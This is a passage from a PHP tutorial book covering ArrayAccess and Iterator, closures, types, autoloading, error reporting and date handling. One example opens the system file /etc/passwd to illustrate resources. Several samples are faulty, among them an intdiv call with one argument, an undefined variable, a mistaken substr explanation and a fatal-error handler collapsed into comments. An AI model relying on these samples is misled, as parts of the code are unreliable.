return (bool) $this->_getByUsername($offset);
}

Complete PHP Tips & Secrets for Professionals 20

 public function offsetGet($offset) {
return $this->_getByUsername($offset);
}

public function offsetSet($offset, $value) {

if (!is_array($value)) {
throw new \Exception('value must be an Array');
}

$passed = array_intersect(array_values($this->_requiredParams), array_keys($value));

if (count($passed) < count($this->_requiredParams)) {
throw new \Exception('value must contain at least the following params: ' .
implode(',', $this->_requiredParams));
}
$this->_conn->insert('User', $value);
}

public function offsetUnset($offset) {

if (!is_string($offset)) {
throw new \Exception('value must be the username to delete');
}
if (!$this->offsetGet($offset)) {
throw new \Exception('user not found');
}
$this->_conn->delete('User', ['username' => $offset]);
}
// END of methods required by ArrayAccess interface
}

then we can :

$users = new UserCollection();

var_dump(empty($users['testuser']),isset($users['testuser']));
$users['testuser'] = ['username' => 'testuser',
'password' => 'testpassword',
'email' => '[email protected]'];
var_dump(empty($users['testuser']), isset($users['testuser']), $users['testuser']);
unset($users['testuser']);
var_dump(empty($users['testuser']), isset($users['testuser']));

which will output the following, assuming there was no testuser before we launched the code:

bool(true)
bool(false)
bool(false)
bool(true)
array(17) {
["username"]=>
string(8) "testuser"
["password"]=>
string(12) "testpassword"
["email"]=>
string(13) "[email protected]"
}
bool(true)
bool(false)

IMPORTANT: offsetExists is not called when you check existence of a key with array_key_exists function. So the
following code will output false twice:

var_dump(array_key_exists('testuser', $users));

Complete PHP Tips & Secrets for Professionals 21

$users['testuser'] = ['username' => 'testuser',
'password' => 'testpassword',
'email' => '[email protected]'];
var_dump(array_key_exists('testuser', $users));

Iterator

Let's extend our class from above with a few functions from Iterator interface to allow iterating over it with
foreach and while.

First, we need to add a property holding our current index of iterator, let's add it to the class properties as
$_position:

// iterator current position, required by Iterator interface methods

protected $_position = 1;

Second, let's add Iterator interface to the list of interfaces being implemented by our class:

class UserCollection implements ArrayAccess, Iterator {

then add the required by the interface functions themselves:

// START of methods required by Iterator interface

public function current () {
return $this->_getById($this->_position);
}
public function key () {
return $this->_position;
}
public function next () {
$this->_position++;
}
public function rewind () {
$this->_position = 1;
}
public function valid () {
return null !== $this->_getById($this->_position);
}
// END of methods required by Iterator interface

So all in all here is complete source of the class implementing both interfaces. Note that this example is not perfect,
because the IDs in the database may not be sequential, but this was written just to give you the main idea: you can
address your objects collections in any possible way by implementing ArrayAccess and Iterator interfaces:

class UserCollection implements ArrayAccess, Iterator {

// iterator current position, required by Iterator interface methods
protected $_position = 1;

// <add the old methods from the last code snippet here>

// START of methods required by Iterator interface

public function current () {
return $this->_getById($this->_position);
}
public function key () {
return $this->_position;
}
public function next () {
$this->_position++;
}
public function rewind () {

Complete PHP Tips & Secrets for Professionals 22

 $this->_position = 1;
}
public function valid () {
return null !== $this->_getById($this->_position);
}
// END of methods required by Iterator interface
}

and a foreach looping through all user objects:

foreach ($users as $user) {

var_dump($user['id']);
}

which will output something like

string(2) "1"
string(2) "2"
string(2) "3"
string(2) "4"
...

Chapter 4: Functional Programming

PHP's functional programming relies on functions. Functions in PHP provide organized, reusable code to perform a
set of actions. Functions simplify the coding process, prevent redundant logic, and make code easier to follow. This
topic describes the declaration and utilization of functions, arguments, parameters, return statements and scope in
PHP.

Section 4.1: Closures

A closure is an anonymous function that can't access outside scope.

When defining an anonymous function as such, you're creating a "namespace" for that function. It currently only
has access to that namespace.

$externalVariable = "Hello";
$secondExternalVariable = "Foo";
$myFunction = function() {

var_dump($externalVariable, $secondExternalVariable); // returns two error notice, since the

variables aren´t defined

It doesn't have access to any external variables. To grant this permission for this namespace to access external
variables, you need to introduce it via closures (use()).

$myFunction = function() use($externalVariable, $secondExternalVariable) {

var_dump($externalVariable, $secondExternalVariable); // Hello Foo
}

This is heavily attributed to PHP's tight variable scoping - If a variable isn't defined within the scope, or isn't brought in
with global then it does not exist.

Also note:

Inheriting variables from the parent scope is not the same as using global variables. Global variables exist in the
global scope, which is the same no matter what function is executing.

Complete PHP Tips & Secrets for Professionals 23

The parent scope of a closure is the function in which the closure was declared (not necessarily the function it was
called from).

Taken from the PHP Documentation for Anonymous Functions

In PHP, closures use an early-binding approach. This means that variables passed to the closure's namespace
using use keyword will have the same values when the closure was defined.

To change this behavior you should pass the variable by-reference.

$rate = .05;

// Exports variable to closure's scope

$calculateTax = function ($value) use ($rate) {
return $value * $rate;
};

$rate = .1;

print $calculateTax(100); // 5
$rate = .05;

// Exports variable to closure's scope

$calculateTax = function ($value) use (&$rate) { // notice the & before $rate
return $value * $rate;
};

$rate = .1;

print $calculateTax(100); // 10

Default arguments are not implicitly required when defining anonymous functions with/without closures.

$message = 'Im yelling at you';

$yell = function() use($message) {

echo strtoupper($message);
};

$yell(); // returns: IM YELLING AT YOU

Section 4.2: Assignment to variables

Anonymous functions can be assigned to variables for use as parameters where a callback is expected:

$uppercase = function($data) {
return strtoupper($data);
};

$mixedCase = ["Hello", "World"];

$uppercased = array_map($uppercase, $mixedCase);
print_r($uppercased);

These variables can also be used as standalone function calls:

echo $uppercase("Hello world!"); // HELLO WORLD!

Section 4.3: Objects as a function

class SomeClass {
public function __invoke($param1, $param2) {

Complete PHP Tips & Secrets for Professionals 24

 // put your code here
}
}

$instance = new SomeClass();

$instance('First', 'Second'); // call the __invoke() method

An object with an __invoke method can be used exactly as any other function.

The __invoke method will have access to all properties of the object and will be able to call any methods.

Section 4.4: Using outside variables

The use construct is used to import variables into the anonymous function's scope:

$divisor = 2332;
$myfunction = function($number) use ($divisor) {
return $number / $divisor;
};

echo $myfunction(81620); //Outputs 35

Variables can also be imported by reference:

$collection = [];

$additem = function($item) use (&$collection) {

$collection[] = $item;
};

$additem(1);
$additem(2);

//$collection is now [1,2]

Section 4.5: Anonymous function

An anonymous function is just a function that doesn't have a name.

// Anonymous function
function() {
return "Hello World!";
};

In PHP, an anonymous function is treated like an expression and for this reason, it should be ended with a
semicolon ;.

An anonymous function should be assigned to a variable.

// Anonymous function assigned to a variable

$sayHello = function($name) {
return "Hello $name!";
};

print $sayHello('John'); // Hello John

Or it should be passed as parameter of another function.

$users = [
['name' => 'Alice', 'age' => 20],
['name' => 'Bobby', 'age' => 22],

Complete PHP Tips & Secrets for Professionals 25

 ['name' => 'Carol', 'age' => 17]
];

// Map function applying anonymous function

$userName = array_map(function($user) {
return $user['name'];
}, $users);

print_r($usersName); // ['Alice', 'Bobby', 'Carol']

Or even been returned from another function.

Self-executing anonymous functions:

// For PHP 7.x

(function () {
echo "Hello world!";
})();

// For PHP 5.x

call_user_func(function () {
echo "Hello world!";
});

Passing an argument into self-executing anonymous functions:

// For PHP 7.x

(function ($name) {
echo "Hello $name!";
})('John');

// For PHP 5.x

call_user_func(function ($name) {
echo "Hello $name!";
}, 'John');

Section 4.6: Pure functions

A pure function is a function that, given the same input, will always return the same output and are side-effect
free.

// This is a pure function

function add($a, $b) {
return $a + $b;
}

Some side-effects are changing the filesystem, interacting with databases, printing to the screen.

// This is an impure function

function add($a, $b) {
echo "Adding...";
return $a + $b;
}

Section 4.7: Common functional methods in PHP

Mapping

Applying a function to all elements of an array :

array_map('strtoupper', $array);

Complete PHP Tips & Secrets for Professionals 26

Be aware that this is the only method of the list where the callback comes first.

Reducing (or folding)

Reducing an array to a single value :

$sum = array_reduce($numbers, function ($carry, $number) {

return $carry + $number;
});
Filtering

Returns only the array items for which the callback returns true :

$onlyEven = array_filter($numbers, function ($number) {

return ($number % 2) === 0;
});

Section 4.8: Using built-in functions as callbacks

In functions taking callable as an argument, you can also put a string with PHP built-in function. It's common to
use trim as array_map parameter to remove leading and trailing whitespace from all strings in the array.

$arr = [' one ', 'two ', ' three'];

var_dump(array_map('trim', $arr));

// array(3) {
// [0] =>
// string(3) "one"
// [1] =>
// string(3) "two"
// [2] =>
// string(5) "three"
// }

Section 4.9: Scope

In PHP, an anonymous function has its own scope like any other PHP function.

In JavaScript, an anonymous function can access a variable in outside scope. But in PHP, this is not permitted.

$name = 'John';

// Anonymous function trying access outside scope

$sayHello = function() {
return "Hello $name!";
}

print $sayHello('John'); // Hello !

// With notices active, there is also an Undefined variable $name notice

Section 4.10: Passing a callback function as a parameter

There are several PHP functions that accept user-defined callback functions as a parameter, such as:
call_user_func(), usort() and array_map().

Depending on where the user-defined callback function was defined there are different ways to pass them:

Procedural style:
function square($number)
{

Complete PHP Tips & Secrets for Professionals 27

 return $number * $number;
}

$initial_array = [1, 2, 3, 4, 5];

$final_array = array_map('square', $initial_array);
var_dump($final_array); // prints the new array with 1, 4, 9, 16, 25
Object Oriented style:
class SquareHolder
{
function square($number)
{
return $number * $number;
}
}

$squaredHolder = new SquareHolder();

$initial_array = [1, 2, 3, 4, 5];
$final_array = array_map([$squaredHolder, 'square'], $initial_array);

var_dump($final_array); // prints the new array with 1, 4, 9, 16, 25

Object Oriented style using a static method:
class StaticSquareHolder
{
public static function square($number)
{
return $number * $number;
}
}

$initial_array = [1, 2, 3, 4, 5];

$final_array = array_map(['StaticSquareHolder', 'square'], $initial_array);
// or:
$final_array = array_map('StaticSquareHolder::square', $initial_array); // for PHP >= 5.2.3

var_dump($final_array); // prints the new array with 1, 4, 9, 16, 25

Chapter 5: Types
Section 5.1: Type Comparison
There are two types of comparison: loose comparison with == and strict comparison with ===. Strict comparison
ensures both the type and value of both sides of the operator are the same.

// Loose comparisons
var_dump(1 == 1); // true
var_dump(1 == "1"); // true
var_dump(1 == true); // true
var_dump(0 == false); // true

// Strict comparisons
var_dump(1 === 1); // true
var_dump(1 === "1"); // false
var_dump(1 === true); // false
var_dump(0 === false); // false

// Notable exception: NAN — it never is equal to anything

var_dump(NAN == NAN); // false
var_dump(NAN === NAN); // false

You can also use strong comparison to check if type and value don't match using !==.

Complete PHP Tips & Secrets for Professionals 28

A typical example where the == operator is not enough, are functions that can return different types, like strpos,
which returns false if the searchword is not found, and the match position (int) otherwise:

if(strpos('text', 'searchword') == false)

// strpos returns false, so == comparison works as expected here, BUT:
if(strpos('text bla', 'text') == false)
// strpos returns 0 (found match at position 0) and 0==false is true.
// This is probably not what you expect!
if(strpos('text','text') === false)
// strpos returns 0, and 0===false is false, so this works as expected.

Section 5.2: Boolean

Boolean is a type, having two values, denoted as true or false.

This code sets the value of $foo as true and $bar as false:

$foo = true;
$bar = false;

true and false are not case sensitive, so TRUE and FALSE can be used as well, even FaLsE is possible. Using lower
case is most common and recommended in most code style guides, e.g. PSR-2.

Booleans can be used in if statements like this:

if ($foo) { //same as evaluating if($foo == true)

echo "true";
}

Due to the fact that PHP is weakly typed, if $foo above is other than true or false, it's automatically coerced to a
boolean value.
The following values result in false:

a zero value: 0 (integer), 0.0 (float), or '0' (string)

an empty string '' or array []
null (the content of an unset variable, or assigned to a variable)

Any other value results in true.

To avoid this loose comparison, you can enforce strong comparison using ===, which compares value and type. See
Type Comparison for details.

To convert a type into boolean, you can use the (bool) or (boolean) cast before the type.

var_dump((bool) "1"); //evaluates to true

or call the boolval function:

var_dump( boolval("1") ); //evaluates to true

Boolean conversion to a string (note that false yields an empty string):

var_dump( (string) true ); // string(1) "1"

var_dump( (string) false ); // string(0) ""

Boolean conversion to an integer:

var_dump( (int) true ); // int(1)

var_dump( (int) false ); // int(0)

Complete PHP Tips & Secrets for Professionals 29

Note that the opposite is also possible:

var_dump((bool) ""); // bool(false)

var_dump((bool) 1); // bool(true)

Also all non-zero will return true:

var_dump((bool) -2); // bool(true)

var_dump((bool) "foo"); // bool(true)
var_dump((bool) 2.3e5); // bool(true)
var_dump((bool) array(12)); // bool(true)
var_dump((bool) array()); // bool(false)
var_dump((bool) "false"); // bool(true)

Section 5.3: Float

$float = 0.123;

For historical reasons "double" is returned by gettype() in case of a float, and not simply "float"

Floats are floating point numbers, which allow more output precision than plain integers.

Floats and integers can be used together due to PHP's loose casting of variable types:

$sum = 3 + 0.14;

echo $sum; // 3.14

php does not show float as float number like other languages, for example:

$var = 1;
echo ((float) $var); //returns 1 not 1.0
Warning

Floating point precision

(From the PHP manual page)

Floating point numbers have limited precision. Although it depends on the system, PHP typically give a maximum
relative error due to rounding in the order of 1.11e-16. Non elementary arithmetic operations may give larger
errors, and error propagation must be considered when several operations are compounded.

Additionally, rational numbers that are exactly representable as floating point numbers in base 10, like 0.1 or 0.7,
do not have an exact representation as floating point numbers in base 2 (binary), which is used internally, no
matter the size of the mantissa. Hence, they cannot be converted into their internal binary counterparts without a
small loss of precision. This can lead to confusing results: for example, floor((0.1+0.7)*10) will usually return 7
instead of the expected 8, since the internal representation will be something like 7.9999999999999991118....

So never trust floating number results to the last digit, and do not compare floating point numbers directly for
equality. If higher precision is necessary, the arbitrary precision math functions and gmp functions are available.

Section 5.4: Strings

A string in PHP is a series of single-byte characters (i.e. there is no native Unicode support) that can be specified in
four ways:

Single Quoted

Displays things almost completely "as is". Variables and most escape sequences will not be interpreted. The

Complete PHP Tips & Secrets for Professionals 30

exception is that to display a literal single quote, one can escape it with a back slash ', and to display a back slash,
one can escape it with another backslash \

$my_string = 'Nothing is parsed, except an escap\'d apostrophe or backslash. $foo\n';

var_dump($my_string);

/*
string(68) "Nothing is parsed, except an escap'd apostrophe or backslash. $foo\n"
*/
Double Quoted

Unlike a single-quoted string, simple variable names and escape sequences in the strings will be evaluated. Curly
braces (as in the last example) can be used to isolate complex variable names.

$variable1 = "Testing!";
$variable2 = [ "Testing?", [ "Failure", "Success" ] ];
$my_string = "Variables and escape characters are parsed:\n\n";
$my_string .= "$variable1\n\n$variable2[0]\n\n";
$my_string .= "There are limits: $variable2[1][0]";
$my_string .= "But we can get around them by wrapping the whole variable in braces:
{$variable2[1][1]}";
var_dump($my_string);

/*
string(98) "Variables and escape characters are parsed:

Testing!

Testing?

There are limits: Array[0]"

But we can get around them by wrapping the whole variable in braces: Success

*/
Heredoc

In a heredoc string, variable names and escape sequences are parsed in a similar manner to double-quoted strings,
though braces are not available for complex variable names. The start of the string is delimited by <<<identifier,
and the end by identifier, where identifier is any valid PHP name. The ending identifier must appear on a line
by itself. No whitespace is allowed before or after the identifier, although like any line in PHP, it must also be
terminated by a semicolon.

$variable1 = "Including text blocks is easier";

$my_string = <<< EOF
Everything is parsed in the same fashion as a double-quoted string,
but there are advantages. $variable1; database queries and HTML output
can benefit from this formatting.
Once we hit a line containing nothing but the identifier, the string ends.
EOF;
var_dump($my_string);

/*
string(268) "Everything is parsed in the same fashion as a double-quoted string,
but there are advantages. Including text blocks is easier; database queries and HTML output
can benefit from this formatting.
Once we hit a line containing nothing but the identifier, the string ends."
*/
Nowdoc

Complete PHP Tips & Secrets for Professionals 31

A nowdoc string is like the single-quoted version of heredoc, although not even the most basic escape sequences
are evaluated. The identifier at the beginning of the string is wrapped in single quotes.

PHP 5.x Version≥5.3

$my_string = <<< 'EOF'
A similar syntax to heredoc but, similar to single quoted strings,
nothing is parsed (not even escaped apostrophes \' and backslashes \\.)
EOF;
var_dump($my_string);

/*
string(116) "A similar syntax to heredoc but, similar to single quoted strings,
nothing is parsed (not even escaped apostrophes \' and backslashes \\.)"
*/

Section 5.5: Callable

Callables are anything which can be called as a callback. Things that can be termed a "callback" are as follows:

Anonymous functions

Standard PHP functions (note: not language constructs)

Static Classes

non-static Classes (using an alternate syntax)

Specific Object/Class Methods

Objects themselves, as long as the object is found in key 0 of an array

Example Of referencing an object as an array element:

$obj = new MyClass();

call_user_func([$obj, 'myCallbackMethod']);

Callbacks can be denoted by callable type hint as of PHP 5.4.

$callable = function () {
return 'value';
};

function call_something(callable $fn) {

call_user_func($fn);
}

call_something($callable);

Section 5.6: Resources

A resource is a special type of variable that references an external resource, such as a file, socket, stream,
document, or connection.

$file = fopen('/etc/passwd', 'r');

Complete PHP Tips & Secrets for Professionals 32

echo gettype($file);
# Out: resource

echo $file;
# Out: Resource id #2

There are different (sub-)types of resource. You can check the resource type using get_resource_type():

$file = fopen('/etc/passwd', 'r');

echo get_resource_type($file);
#Out: stream

$sock = fsockopen('www.google.com', 80);

echo get_resource_type($sock);
#Out: stream

You can find a complete list of built-in resource types here.

Section 5.7: Type Casting

PHP will generally correctly guess the data type you intend to use from the context it's used in, however sometimes
it is useful to manually force a type. This can be accomplished by prefixing the declaration with the name of the
required type in parenthesis:

$bool = true;
var_dump($bool); // bool(true)

$int = (int) true;

var_dump($int); // int(1)

$string = (string) true;

var_dump($string); // string(1) "1"
$string = (string) false;
var_dump($string); // string(0) ""

$float = (float) true;

var_dump($float); // float(1)

$array = ['x' => 'y'];

var_dump((object) $array); // object(stdClass)#1 (1) { ["x"]=> string(1) "y" }

$object = new stdClass();

$object->x = 'y';
var_dump((array) $object); // array(1) { ["x"]=> string(1) "y" }

$string = "asdf";
var_dump((unset)$string); // NULL

But be carefull: not all type casts work as one might expect:

// below 3 statements hold for 32-bits systems (PHP_INT_MAX=2147483647)

// an integer value bigger than PHP_INT_MAX is automatically converted to float:
var_dump( 999888777666 ); // float(999888777666)
// forcing to (int) gives overflow:
var_dump((int) 999888777666 ); // int(-838602302)
// but in a string it just returns PHP_INT_MAX
var_dump((int) "999888777666"); // int(2147483647)

var_dump((bool) []); // bool(false) (empty array)

var_dump((bool) [false]); // bool(true) (non-empty array)

Complete PHP Tips & Secrets for Professionals 33

Section 5.8: Type Juggling
PHP is a weakly-typed language. It does not require explicit declaration of data types. The context in which the
variable is used determines its data type; conversion is done automatically:

$a = "2"; // string
$a = $a + 2; // integer (4)
$a = $a + 0.5; // float (4.5)
$a = 1 + "2 oranges"; // integer (3)

Section 5.9: Null

PHP represents "no value" with the null keyword. It's somewhat similar to the null pointer in C-language and to the
NULL value in SQL.

Setting the variable to null:

$nullvar = null; // directly

function doSomething() {} // this function does not return anything

$nullvar = doSomething(); // so the null is assigned to $nullvar

Checking if the variable was set to null:

if (is_null($nullvar)) { /* variable is null */ }

if ($nullvar === null) { /* variable is null */ }

Null vs undefined variable

If the variable was not defined or was unset then any tests against the null will be successful but they will also
generate a Notice: Undefined variable: nullvar:

$nullvar = null;
unset($nullvar);
if ($nullvar === null) { /* true but also a Notice is printed */ }
if (is_null($nullvar)) { /* true but also a Notice is printed */ }

Therefore undefined values must be checked with isset:

if (!isset($nullvar)) { /* variable is null or is not even defined */ }

Section 5.10: Integers

Integers in PHP can be natively specified in base 2 (binary), base 8 (octal), base 10 (decimal), or base 16
(hexadecimal.)

$my_decimal = 42;
$my_binary = 0b101010;
$my_octal = 052;
$my_hexadecimal = 0x2a;

echo ($my_binary + $my_octal) / 2;

// Output is always in decimal: 42

Integers are 32 or 64 bits long, depending on the platform. The constant PHP_INT_SIZE holds integer size in bytes.
PHP_INT_MAX and (since PHP 7.0) PHP_INT_MIN are also available.

printf("Integers are %d bits long" . PHP_EOL, PHP_INT_SIZE * 8);

printf("They go up to %d" . PHP_EOL, PHP_INT_MAX);

Complete PHP Tips & Secrets for Professionals 34

Integer values are automatically created as needed from floats, booleans, and strings. If an explicit typecast is
needed, it can be done with the (int) or (integer) cast:

$my_numeric_string = "123";
var_dump($my_numeric_string);
// Output: string(3) "123"
$my_integer = (int)$my_numeric_string;
var_dump($my_integer);
// Output: int(123)

Integer overflow will be handled by conversion to a float:

$too_big_integer = PHP_INT_MAX + 7;
var_dump($too_big_integer);
// Output: float(9.2233720368548E+18)

There is no integer division operator in PHP, but it can be simulated using an implicit cast, which always 'rounds' by
just discarding the float-part. As of PHP version 7, an integer division function was added.

$not_an_integer = 25 / 4;
var_dump($not_an_integer);
// Output: float(6.25)
var_dump((int) (25 / 4)); // (see note below)
// Output: int(6)
var_dump(intdiv(25 / 4)); // as of PHP7
// Output: int(6)

(Note that the extra parentheses around (25 / 4) are needed because the (int) cast has higher precedence than
the division)

Chapter 6: Autoloading Primer

require
spl_autoload_require

Section 6.1: Autoloading as part of a framework solution

// autoload.php
spl_autoload_register(function ($class) {
require_once "$class.php";
});

// Animal.php
class Animal {
public function eats($food) {
echo "Yum, $food!";
}
}

// Ruminant.php
class Ruminant extends Animal {
public function eats($food) {
if ('grass' === $food) {
parent::eats($food);
} else {
echo "Yuck, $food!";
}
}
}

Complete PHP Tips & Secrets for Professionals 35

// Cow.php
class Cow extends Ruminant {
}

// pasture.php
require 'autoload.php';
$animal = new Cow;
$animal->eats('grass');

Thanks to our generic autoloader, we have access to any class that follows our autoloader naming convention. In
this example, our convention is simple: the desired class must have a file in the same directory named for the class
and ending in ".php". Notice that the class name exactly matches the file name.

Without autoloading, we would have to manually require base classes. If we built an entire zoo of animals, we'd
have thousands of require statements that could more easily be replaced with a single autoloader.

In the final analysis, PHP autoloading is a mechanism to help you write less mechanical code so you can focus on
solving business problems. All you have to do is define a strategy that maps class name to file name. You can roll your
own autoloading strategy, as done here. Or, you can use any of the standard ones the PHP community has
adopted: PSR-0 or PSR-4. Or, you can use composer to generically define and manage these dependencies.

Section 6.2: Inline class definition, no loading required

// zoo.php
class Animal {
public function eats($food) {
echo "Yum, $food!";
}
}

$animal = new Animal();

$animal->eats('meat');

PHP knows what Animal is before executing new Animal, because PHP reads source files top-to-bottom. But what if
we wanted to create new Animals in many places, not just in the source file where it's defined? To do that, we need
to load the class definition.

Section 6.3: Manual class loading with require

// Animal.php
class Animal {
public function eats($food) {
echo "Yum, $food!";
}
}

// zoo.php
require 'Animal.php';
$animal = new Animal;
$animal->eats('slop');

// aquarium.php
require 'Animal.php';
$animal = new Animal;
$animal->eats('shrimp');

Here we have three files. One file ("Animal.php") defines the class. This file has no side effects besides defining the
class and neatly keeps all the knowledge about an "Animal" in one place. It's easily version controlled. It's easily
reused.

Complete PHP Tips & Secrets for Professionals 36

Two files consume the "Animal.php" file by manually require-ing the file. Again, PHP reads source files top-to-
bottom, so the require goes and finds the "Animal.php" file and makes the Animal class definition available before
calling new Animal.

Now imagine we had dozens or hundreds of cases where we wanted to perform new Animal. That would require
(pun-intended) many, many require statements that are very tedious to code.

Section 6.4: Autoloading replaces manual class definition loading

// autoload.php
spl_autoload_register(function ($class) {
require_once "$class.php";
});

// Animal.php
class Animal {
public function eats($food) {
echo "Yum, $food!";
}
}

// zoo.php
require 'autoload.php';
$animal = new Animal;
$animal->eats('slop');

// aquarium.php
require 'autoload.php';
$animal = new Animal;
$animal->eats('shrimp');

Compare this to the other examples. Notice how require "Animal.php" was replaced with require
"autoload.php". We're still including an external file at run-time, but rather than including a specific class definition
we're including logic that can include any class. It's a level of indirection that eases our development. Instead of
writing one require for every class we need, we write one require for all classes. We can replace N require with 1
require.

The magic happens with spl_autoload_register. This PHP function takes a closure and adds the closure to a queue of
closures. When PHP encounters a class for which it has no definition, PHP hands the class name to each closure in
the queue. If the class exists after calling a closure, PHP returns to its previous business. If the class fails to exist
after trying the entire queue, PHP crashes with "Class 'Whatever' not found."

Section 6.5: Autoloading with Composer

Composer generates a vendor/autoload.php file.

You might simply include this file and you will get autoloading for free.

require __DIR__ . '/vendor/autoload.php';

This makes working with third-party dependencies very easy.

You can also add your own code to the Autoloader by adding an autoload section to your composer.json.

{
"autoload": {
"psr-4": {"YourApplicationNamespace\\": "src/"}
}
}

Complete PHP Tips & Secrets for Professionals 37

In this section you define the autoload mappings. In this example its a PSR-4 mapping of a namespace to a
directory: the /src directory resides in your projects root folder, on the same level as the /vendor directory is. An
example filename would be src/Foo.php containing an YourApplicationNamespace\Foo class.

Important: After adding new entries to the autoload section, you have to re-run the command dump-autoload to
re-generate and update the vendor/autoload.php file with the new information.

In addition to PSR-4 autoloading, Composer also supports PSR-0, classmap and files autoloading. See the
autoload reference for more information.

When you including the /vendor/autoload.php file it will return an instance of the Composer Autoloader. You
might store the return value of the include call in a variable and add more namespaces. This can be useful for
autoloading classes in a test suite, for example.

$loader = require __DIR__ . '/vendor/autoload.php';

$loader->add('Application\\Test\\', __DIR__);

Chapter 7: Exception Handling and Error Reporting

Section 7.1: Setting error reporting and where to display them
If it's not already done in php.ini, error reporting can be set dynamically and should be set to allow most errors to
be shown:

Syntax

int error_reporting ([ int $level ] )

Examples

// should always be used prior to 5.4

error_reporting(E_ALL);

// -1 will show every possible error, even when new levels and constants are added
// in future PHP versions. E_ALL does the same up to 5.4.
error_reporting(-1);

// without notices
error_reporting(E_ALL & ~E_NOTICE);

// only warnings and notices.

// for the sake of example, one shouldn't report only those
error_reporting(E_WARNING | E_NOTICE);

errors will be logged by default by php, normally in a error.log file at the same level than the running script.

in development environment, one can also show them on screen:

ini_set('display_errors', 1);

in production however, one should

ini_set('display_errors', 0);

and show a friendly problem message through the use of an Exception or Error handler.

Section 7.2: Logging fatal errors

Complete PHP Tips & Secrets for Professionals 38

In PHP, a fatal error is a kind of error that cannot be caught, that is, after experiencing a fatal error a program does
not resume. However, to log this error or somehow handle the crash you can use register_shutdown_function to
register shutdown handler.

function fatalErrorHandler() { // Let's get last error that was fatal. $error = error_get_last(); // This is error-only
handler for example purposes; no error means that // there were no error and shutdown was proper. Also ensure it
will handle // only fatal errors. if (null === $error || E_ERROR != $error['type']) { return; } // Log last error to a log file.
// let's naively assume that logs are in the folder inside the app folder. $logFile = fopen("./app/logs/error.log", "a+");
// Get useful info out of error. $type = $error["type"]; $file = $error["file"]; $line = $error["line"]; $message =
$error["message"] fprintf( $logFile, "[%s] %s: %s in %s:%d\n", date("Y-m-d H:i:s"), $type, $message, $file, $line);
fclose($logFile); } register_shutdown_function('fatalErrorHandler');

Reference:

http://php.net/manual/en/function.register-shutdown-function.php
http://php.net/manual/en/function.error-get-last.php
http://php.net/manual/en/errorfunc.constants.php

Chapter 8: Working with Dates and Time

string date ( string $format [, int $timestamp = time() ] )
int strtotime ( string $time [, int $now ] )

Section 8.1: Getting the dierence between two dates / times

The most feasible way is to use, the DateTime class.

An example:

<?php
// Create a date time object, which has the value of ~ two years ago
$twoYearsAgo = new DateTime("2014-01-18 20:05:56");
// Create a date time object, which has the value of ~ now
$now = new DateTime("2016-07-21 02:55:07");

// Calculate the diff

$diff = $now->diff($twoYearsAgo);

// $diff->y contains the difference in years between the two dates

$yearsDiff = $diff->y;
// $diff->m contains the difference in minutes between the two dates
$monthsDiff = $diff->m;
// $diff->d contains the difference in days between the two dates
$daysDiff = $diff->d;
// $diff->h contains the difference in hours between the two dates
$hoursDiff = $diff->h;
// $diff->i contains the difference in minutes between the two dates
$minsDiff = $diff->i;
// $diff->s contains the difference in seconds between the two dates
$secondsDiff = $diff->s;

// Total Days Diff, that is the number of days between the two dates
$totalDaysDiff = $diff->days;

// Dump the diff altogether just to get some details ;)

var_dump($diff);

Also, comparing two dates is much easier, just use the Comparison operators , like:

Complete PHP Tips & Secrets for Professionals 39

<?php
// Create a date time object, which has the value of ~ two years ago
$twoYearsAgo = new DateTime("2014-01-18 20:05:56");
// Create a date time object, which has the value of ~ now
$now = new DateTime("2016-07-21 02:55:07");
var_dump($now > $twoYearsAgo); // prints bool(true)
var_dump($twoYearsAgo > $now); // prints bool(false)
var_dump($twoYearsAgo <= $twoYearsAgo); // prints bool(true)
var_dump($now == $now); // prints bool(true)

Section 8.2: Convert a date into another format

The Basics

The simplist way to convert one date format into another is to use strtotime() with date(). strtotime() will
convert the date into a Unix Timestamp. That Unix Timestamp can then be passed to date() to convert it to the
new format.

$timestamp = strtotime('2008-07-01T22:35:17.02');
$new_date_format = date('Y-m-d H:i:s', $timestamp);

Or as a one-liner:

$new_date_format = date('Y-m-d H:i:s', strtotime('2008-07-01T22:35:17.02'));

Keep in mind that strtotime() requires the date to be in a valid format. Failure to provide a valid format will result
in strtotime() returning false which will cause your date to be 1969-12-31.

Using DateTime()

As of PHP 5.2, PHP offered the DateTime() class which offers us more powerful tools for working with dates (and
time). We can rewrite the above code using DateTime() as so:

$date = new DateTime('2008-07-01T22:35:17.02');

$new_date_format = $date->format('Y-m-d H:i:s');

Working with Unix timestamps

date() takes a Unix timestamp as its second parameter and returns a formatted date for you:

$new_date_format = date('Y-m-d H:i:s', '1234567890');

DateTime() works with Unix timestamps by adding an @ before the timestamp:

$date = new DateTime('@1234567890');

$new_date_format = $date->format('Y-m-d H:i:s');

If the timestamp you have is in milliseconds (it may end in 000 and/or the timestamp is thirteen characters long)
you will need to convert it to seconds before you can can convert it to another format. There's two ways to do this:

Trim the last three digits off using substr()

Trimming the last three digits can be acheived several ways, but using substr() is the easiest:

$timestamp = substr('1234567899000', -3);

Divide the substr by 1000

You can also convert the timestamp into seconds by dividing by 1000. Because the timestamp is too large for 32 bit
systems to do math on you will need to use the BCMath library to do the math as strings:

Complete PHP Tips & Secrets for Professionals 40

$timestamp = bcdiv('1234567899000', '1000');

To get a Unix Timestamp you can use strtotime() which returns a Unix Timestamp:

$timestamp = strtotime('1973-04-18');

With DateTime() you can use DateTime::getTimestamp()

$date = new DateTime('2008-07-01T22:35:17.02');

$timestamp = $date->getTimestamp();

If you're running PHP 5.2 you can use the U formatting option instead:

$date = new DateTime('2008-07-01T22:35:17.02');

$timestamp = $date->format('U');

Working with non-standard and ambiguous date formats

Unfortunately not all dates that a developer has to work with are in a standard format. Fortunately PHP 5.3
provided us with a solution for that. DateTime::createFromFormat() allows us to tell PHP what format a date string
is in so it can be successfully parsed into a DateTime object for further manipulation.

$date = DateTime::createFromFormat('F-d-Y h:i A', 'April-18-1973 9:48 AM');

$new_date_format = $date->format('Y-m-d H:i:s');

In PHP 5.4 we gained the ability to do class member access on instantiation has been added which allows us to turn
our DateTime() code into a one-liner:

$new_date_format = (new DateTime('2008-07-01T22:35:17.02'))->format('Y-m-d H:i:s');

Unfortunately this does not work with DateTime::createFromFormat() yet.

Section 8.3: Parse English date descriptions into a Date format

Using the strtotime() function combined with date() you can parse different English text descriptions to dates:

// Gets the current date

echo date("m/d/Y", strtotime("now")), "\n"; // prints the current date
echo date("m/d/Y", strtotime("10 September 2000")), "\n"; // prints September 10, 2000 in the m/d/Y
format
